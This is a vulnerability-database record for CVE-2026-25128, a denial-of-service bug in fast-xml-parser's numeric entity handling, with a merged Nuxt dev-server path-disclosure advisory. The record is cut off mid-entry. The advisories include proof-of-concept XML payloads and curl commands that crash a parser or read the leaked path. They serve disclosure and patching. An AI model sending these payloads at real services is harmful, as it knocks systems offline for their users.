{"id":"CVE-2026-25128","aliases":["CLSA-2026-1774398086","CLSA-2026-1784856386","CLSA-2026-1792160954","CLSA-2026-1792161483","CLSA-2026-1792161588","CLSA-2026-1792454133","EUVD-2026-5026","GHSA-37qj-frw5-hhjh","GHSA-rq7w-g337-39qq","ROOT-APP-NPM-CVE-2026-25128","UBUNTU-CVE-2026-25128","openSUSE-SU-2026:11126-1"],"status":"published","title":"fast-xml-parser has RangeError DoS Numeric Entities Bug","description":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00612,"percentile":0.4978,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-200","CWE-248"],"published":"2026-01-30T15:14:58Z","modified":"2026-11-10T19:45:16Z","fixes":[{"ecosystem":"npm","package":"fast-xml-parser","fixed_in":["5.3.4"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"nuxt","fixed_in":["4.4.7"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"fast-xml-parser","fixed_in":["4.5.3-tuxcare.1","4.5.7-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/fast-xml-parser","fixed_in":["4.4.1-root.io.1","4.4.1-root.io.2","4.4.1-root.io.3","4.4.1-root.io.4","4.4.1-root.io.5","4.4.1-root.io.6","4.4.1-root.io.7","4.4.1-root.io.8","5.2.5-root.io.3","5.2.5-root.io.4"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"fast-xml-parser","fixed_in":["5.2.5-aikido.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.9"},{"last_affected":"5.3.3"},{"fixed":"5.3.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"nuxt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-alpha.1"},{"fixed":"4.4.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.3-tuxcare.0"},{"fixed":"4.5.3-tuxcare.1"}]}],"versions":["4.5.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.7-tuxcare.0"},{"fixed":"4.5.7-tuxcare.1"}]}],"versions":["4.5.7"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@nuxt/vite-builder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.3-tuxcare.0"},{"fixed":"4.0.3-tuxcare.4"}]}],"versions":["4.0.3","4.0.3-tuxcare.1","4.0.3-tuxcare.3"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"@nuxt/rspack-builder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.3-tuxcare.0"},{"fixed":"4.0.3-tuxcare.4"}]}],"versions":["4.0.3","4.0.3-tuxcare.1","4.0.3-tuxcare.3"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"@nuxt/schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.3-tuxcare.0"},{"fixed":"4.0.3-tuxcare.4"}]}],"versions":["4.0.3","4.0.3-tuxcare.1","4.0.3-tuxcare.3"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.5-tuxcare.0"},{"fixed":"5.2.5-tuxcare.1"}]}],"versions":["5.2.5"],"bundled":7},{"source":"osv","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.9"},{"fixed":"5.3.4"}]}]},{"source":"osv","ecosystem":"npm","package":"nuxt","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0-alpha.1"},{"fixed":"4.4.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.1-root.io.1"},{"fixed":"4.4.1-root.io.2"},{"fixed":"4.4.1-root.io.3"},{"fixed":"4.4.1-root.io.4"},{"fixed":"4.4.1-root.io.5"},{"fixed":"4.4.1-root.io.6"},{"fixed":"4.4.1-root.io.7"},{"fixed":"4.4.1-root.io.8"},{"fixed":"5.2.5-root.io.3"},{"fixed":"5.2.5-root.io.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.5-aikido.4"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-7ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-10","11.4.0+dfsg2+~cs35.7.26-13ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-13ubuntu2","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16build1","11.4.0+dfsg2+~cs35.7.26-18"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"velociraptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.0.4.git185.a5708584-2.1"}]}],"bundled":49}],"products":[{"vendor":"naturalintelligence","product":"fast-xml-parser"}],"references":[{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-37qj-frw5-hhjh","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.4","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25128","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-37qj-frw5-hhjh"},{"url":"https://github.com/nuxt/nuxt/security/advisories/GHSA-rq7w-g337-39qq","tags":["web"]},{"url":"https://github.com/nuxt/nuxt/pull/35201","tags":["web"]},{"url":"https://github.com/nuxt/nuxt/commit/55c75b78c989b8bd210837b0e5faaebbf2b87b15","tags":["web"]},{"url":"https://github.com/advisories/GHSA-rq7w-g337-39qq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25128.json","tags":["advisory"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser","tags":["package"]},{"url":"https://github.com/nuxt/nuxt","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-25128","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-25128","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2023-45288","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45339","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-13465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24358","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47911","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58058","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58190","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-5889","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64718","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6545","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-6547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-7783","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-1229","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25128","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25681","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26278","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26996","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27136","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27606","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33036","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33186","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33487","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33814","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34986","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39827","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39828","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39829","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39830","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39831","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42039","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46595","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46597","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46598","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-25128","title":"fast-xml-parser has RangeError DoS Numeric Entities Bug","description":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","status":"published","published":"2026-01-30T15:14:58.244Z","modified":"2026-02-11T18:38:40.192Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-248"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-5026","description":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","status":"published","published":"2026-01-30T15:14:58Z","modified":"2026-02-11T18:38:40Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:40.797648Z"}],"ghsa":[{"id":"GHSA-37qj-frw5-hhjh","title":"fast-xml-parser has RangeError DoS Numeric Entities Bug","description":"### Summary\nA RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.\n\n### Details\nThe vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:\n\n```javascript\n\"num_dec\": { regex: /\u0026#([0-9]{1,7});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 10)) },\n\"num_hex\": { regex: /\u0026#x([0-9a-fA-F]{1,6});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 16)) },\n```\n\nThe `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:\n- `[0-9]{1,7}` matches up to 9,999,999\n- `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)\n\nThe entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:\n\n```javascript\nval = val.replace(entity.regex, entity.val);\n```\n\nThis causes the RangeError to propagate uncaught, crashing the parser and any application using it.\n### PoC\n#### Setup\n\nCreate a directory with these files:\n\n```\npoc/\n├── package.json\n├── server.js\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"fast-xml-parser\": \"^5.3.3\" } }\n```\n\n**server.js**\n```javascript\nconst http = require('http');\nconst { XMLParser } = require('fast-xml-parser');\n\nconst parser = new XMLParser({ processEntities: true, htmlEntities: true });\n\nhttp.createServer((req, res) =\u003e {\n  if (req.method === 'POST' \u0026\u0026 req.url === '/parse') {\n    let body = '';\n    req.on('data', c =\u003e body += c);\n    req.on('end', () =\u003e {\n      const result = parser.parse(body);  // No try-catch - will crash!\n      res.end(JSON.stringify(result));\n    });\n  } else {\n    res.end('POST /parse with XML body');\n  }\n}).listen(3000, () =\u003e console.log('http://localhost:3000'));\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Send malicious payload (server will crash)\ncurl -X POST -H \"Content-Type: application/xml\" -d '\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#9999999;\u003c/root\u003e' http://localhost:3000/parse\n``` \n#### Result\n\nServer crashes with:\n```\nRangeError: Invalid code point 9999999\n```\n\n#### Alternative Payloads\n\n```xml\n\u003c!-- Hex variant --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#xFFFFFF;\u003c/root\u003e\n\n\u003c!-- In attribute --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot attr=\"\u0026#9999999;\"/\u003e\n```\n\n### Impact\n*Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:\n\n- **API servers** accepting XML payloads\n- **File processors** parsing uploaded XML files\n- **Message queues** consuming XML messages\n- **RSS/Atom feed parsers**\n- **SOAP/XML-RPC services**\n\nA single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.","status":"published","published":"2026-01-30T20:10:14Z","modified":"2026-02-11T23:13:02Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-248"],"updated_at":"2026-11-02T14:39:24.742346Z"},{"id":"GHSA-rq7w-g337-39qq","title":"Nuxt: Dev server discloses project absolute path and persistent workspace UUID via `/.well-known/appspecific/com.chrome.devtools.json`","description":"### Summary\n\nWhen running `nuxt dev`, Nuxt registers an unauthenticated route at `/.well-known/appspecific/com.chrome.devtools.json` that returns the absolute filesystem path of the project root and a per-project UUID persisted to `node_modules/.cache/nuxt/chrome-workspace.json`. The route is enabled by default via `experimental.chromeDevtoolsProjectSettings: true`.\n\nThe endpoint exists to let Chrome DevTools' Workspace integration map sources to the developer's local checkout. The handler is registered directly on `nitro.options.devHandlers` and does not pass through the CORS / origin wrapper that the rest of the dev pipeline uses, so it has no host / origin / `Sec-Fetch-Site` check of its own.\n\n### Impact\n\nDev-server only. Production builds do not register the route.\n\nTwo values are disclosed:\n\n- `workspace.root`: the absolute filesystem path of the project (commonly reveals the OS username and the on-disk project name).\n- `workspace.uuid`: a v4 UUID persisted to `node_modules/.cache/nuxt/chrome-workspace.json`, stable across dev-server restarts and re-clones.\n\n### Threat model\n\nThe response carries no `Access-Control-Allow-Origin` header. A cross-origin `fetch()` from an arbitrary malicious page is therefore blocked by the browser's same-origin policy and cannot read the body. The two realistic recovery paths are:\n\n1. **LAN-adjacent attacker** when the developer runs `nuxt dev --host` (or otherwise binds to a non-loopback interface). A plain `curl http://\u003cdev-lan-ip\u003e:3000/.well-known/appspecific/com.chrome.devtools.json` returns the JSON; no browser, no CORS.\n2. **DNS rebinding** against the default loopback dev server. A page the developer visits resolves to the attacker, then re-resolves to `127.0.0.1` after the TTL; the browser believes the request is same-origin and reads the response.\n\n### Affected versions\n\n`nuxt@4.0.0-alpha.1` (PR #32084) through `nuxt@4.4.6`. `3.x` is not affected.\n\n### Reproduction\n\n```bash\nnpx nuxt dev\ncurl -s http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json\n# {\"workspace\":{\"uuid\":\"...\",\"root\":\"/Users/\u003cname\u003e/...\"}}\n```\n\n### Workaround\n\nSet `experimental: { chromeDevtoolsProjectSettings: false }` in `nuxt.config.ts`. Chrome DevTools' Workspace auto-integration will stop working; the dev server is otherwise unaffected.\n\n### Patches\n\nFixed in `nuxt@4.4.7` by [#35201](https://github.com/nuxt/nuxt/pull/35201) (commit [`55c75b78`](https://github.com/nuxt/nuxt/commit/55c75b78c989b8bd210837b0e5faaebbf2b87b15)). The handler is now routed through the same host / origin gate the rest of the dev server uses, so the endpoint only responds to requests that look local.","status":"published","published":"2026-06-15T20:56:22Z","modified":"2026-06-15T20:56:23Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:40:28.438722Z"}],"nvd":[{"id":"CVE-2026-25128","description":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","status":"published","published":"2026-01-30T16:16:14.123Z","modified":"2026-06-17T10:24:09.427Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-248"],"updated_at":"2026-11-02T14:12:04.769088Z"}],"osv":[{"id":"CVE-2026-25128","title":"fast-xml-parser has RangeError DoS Numeric Entities Bug","description":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","status":"published","published":"2026-01-30T15:14:58.244Z","modified":"2026-10-28T02:30:25.296724469Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-248"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-37qj-frw5-hhjh","title":"fast-xml-parser has RangeError DoS Numeric Entities Bug","description":"### Summary\nA RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.\n\n### Details\nThe vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:\n\n```javascript\n\"num_dec\": { regex: /\u0026#([0-9]{1,7});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 10)) },\n\"num_hex\": { regex: /\u0026#x([0-9a-fA-F]{1,6});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 16)) },\n```\n\nThe `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:\n- `[0-9]{1,7}` matches up to 9,999,999\n- `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)\n\nThe entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:\n\n```javascript\nval = val.replace(entity.regex, entity.val);\n```\n\nThis causes the RangeError to propagate uncaught, crashing the parser and any application using it.\n### PoC\n#### Setup\n\nCreate a directory with these files:\n\n```\npoc/\n├── package.json\n├── server.js\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"fast-xml-parser\": \"^5.3.3\" } }\n```\n\n**server.js**\n```javascript\nconst http = require('http');\nconst { XMLParser } = require('fast-xml-parser');\n\nconst parser = new XMLParser({ processEntities: true, htmlEntities: true });\n\nhttp.createServer((req, res) =\u003e {\n  if (req.method === 'POST' \u0026\u0026 req.url === '/parse') {\n    let body = '';\n    req.on('data', c =\u003e body += c);\n    req.on('end', () =\u003e {\n      const result = parser.parse(body);  // No try-catch - will crash!\n      res.end(JSON.stringify(result));\n    });\n  } else {\n    res.end('POST /parse with XML body');\n  }\n}).listen(3000, () =\u003e console.log('http://localhost:3000'));\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Send malicious payload (server will crash)\ncurl -X POST -H \"Content-Type: application/xml\" -d '\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#9999999;\u003c/root\u003e' http://localhost:3000/parse\n``` \n#### Result\n\nServer crashes with:\n```\nRangeError: Invalid code point 9999999\n```\n\n#### Alternative Payloads\n\n```xml\n\u003c!-- Hex variant --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#xFFFFFF;\u003c/root\u003e\n\n\u003c!-- In attribute --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot attr=\"\u0026#9999999;\"/\u003e\n```\n\n### Impact\n*Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:\n\n- **API servers** accepting XML payloads\n- **File processors** parsing uploaded XML files\n- **Message queues** consuming XML messages\n- **RSS/Atom feed parsers**\n- **SOAP/XML-RPC services**\n\nA single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.","status":"published","published":"2026-01-30T20:10:14Z","modified":"2026-09-10T03:50:32.638909177Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-20","CWE-248"],"updated_at":"2026-11-02T15:46:35.406455Z"},{"id":"GHSA-rq7w-g337-39qq","title":"Nuxt: Dev server discloses project absolute path and persistent workspace UUID via `/.well-known/appspecific/com.chrome.devtools.json`","description":"### Summary\n\nWhen running `nuxt dev`, Nuxt registers an unauthenticated route at `/.well-known/appspecific/com.chrome.devtools.json` that returns the absolute filesystem path of the project root and a per-project UUID persisted to `node_modules/.cache/nuxt/chrome-workspace.json`. The route is enabled by default via `experimental.chromeDevtoolsProjectSettings: true`.\n\nThe endpoint exists to let Chrome DevTools' Workspace integration map sources to the developer's local checkout. The handler is registered directly on `nitro.options.devHandlers` and does not pass through the CORS / origin wrapper that the rest of the dev pipeline uses, so it has no host / origin / `Sec-Fetch-Site` check of its own.\n\n### Impact\n\nDev-server only. Production builds do not register the route.\n\nTwo values are disclosed:\n\n- `workspace.root`: the absolute filesystem path of the project (commonly reveals the OS username and the on-disk project name).\n- `workspace.uuid`: a v4 UUID persisted to `node_modules/.cache/nuxt/chrome-workspace.json`, stable across dev-server restarts and re-clones.\n\n### Threat model\n\nThe response carries no `Access-Control-Allow-Origin` header. A cross-origin `fetch()` from an arbitrary malicious page is therefore blocked by the browser's same-origin policy and cannot read the body. The two realistic recovery paths are:\n\n1. **LAN-adjacent attacker** when the developer runs `nuxt dev --host` (or otherwise binds to a non-loopback interface). A plain `curl http://\u003cdev-lan-ip\u003e:3000/.well-known/appspecific/com.chrome.devtools.json` returns the JSON; no browser, no CORS.\n2. **DNS rebinding** against the default loopback dev server. A page the developer visits resolves to the attacker, then re-resolves to `127.0.0.1` after the TTL; the browser believes the request is same-origin and reads the response.\n\n### Affected versions\n\n`nuxt@4.0.0-alpha.1` (PR #32084) through `nuxt@4.4.6`. `3.x` is not affected.\n\n### Reproduction\n\n```bash\nnpx nuxt dev\ncurl -s http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json\n# {\"workspace\":{\"uuid\":\"...\",\"root\":\"/Users/\u003cname\u003e/...\"}}\n```\n\n### Workaround\n\nSet `experimental: { chromeDevtoolsProjectSettings: false }` in `nuxt.config.ts`. Chrome DevTools' Workspace auto-integration will stop working; the dev server is otherwise unaffected.\n\n### Patches\n\nFixed in `nuxt@4.4.7` by [#35201](https://github.com/nuxt/nuxt/pull/35201) (commit [`55c75b78`](https://github.com/nuxt/nuxt/commit/55c75b78c989b8bd210837b0e5faaebbf2b87b15)). The handler is now routed through the same host / origin gate the rest of the dev server uses, so the endpoint only responds to requests that look local.","status":"published","published":"2026-06-15T20:56:22Z","modified":"2026-06-15T21:00:07.676162148Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"UBUNTU-CVE-2026-25128","description":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","status":"published","published":"2026-01-30T16:16:00Z","modified":"2026-10-17T12:58:07.646206353Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"CLSA-2026-1774398086","title":"TuxCare security update for fast-xml-parser (1 CVE)","description":"TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-15T09:47:03.717603315Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1784856386","title":"TuxCare security update for fast-xml-parser (1 CVE)","description":"TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:54.829357269Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1792160954","title":"TuxCare security update for @nuxt/vite-builder (2 CVEs)","description":"TuxCare rebuilt @nuxt/vite-builder to address 2 CVEs. Fixed in 4.0.3-tuxcare.4.","status":"published","published":"2026-10-16T14:29:10Z","modified":"2026-11-10T19:45:14.295679752Z","updated_at":"2026-11-10T20:12:40.351566Z"},{"id":"CLSA-2026-1792161483","title":"TuxCare security update for @nuxt/rspack-builder (4 CVEs)","description":"TuxCare rebuilt @nuxt/rspack-builder to address 4 CVEs. Fixed in 4.0.3-tuxcare.4.","status":"published","published":"2026-10-16T14:38:03Z","modified":"2026-11-10T19:45:16.370820957Z","updated_at":"2026-11-10T20:12:40.351566Z"},{"id":"CLSA-2026-1792161588","title":"TuxCare security update for @nuxt/schema (2 CVEs)","description":"TuxCare rebuilt @nuxt/schema to address 2 CVEs. Fixed in 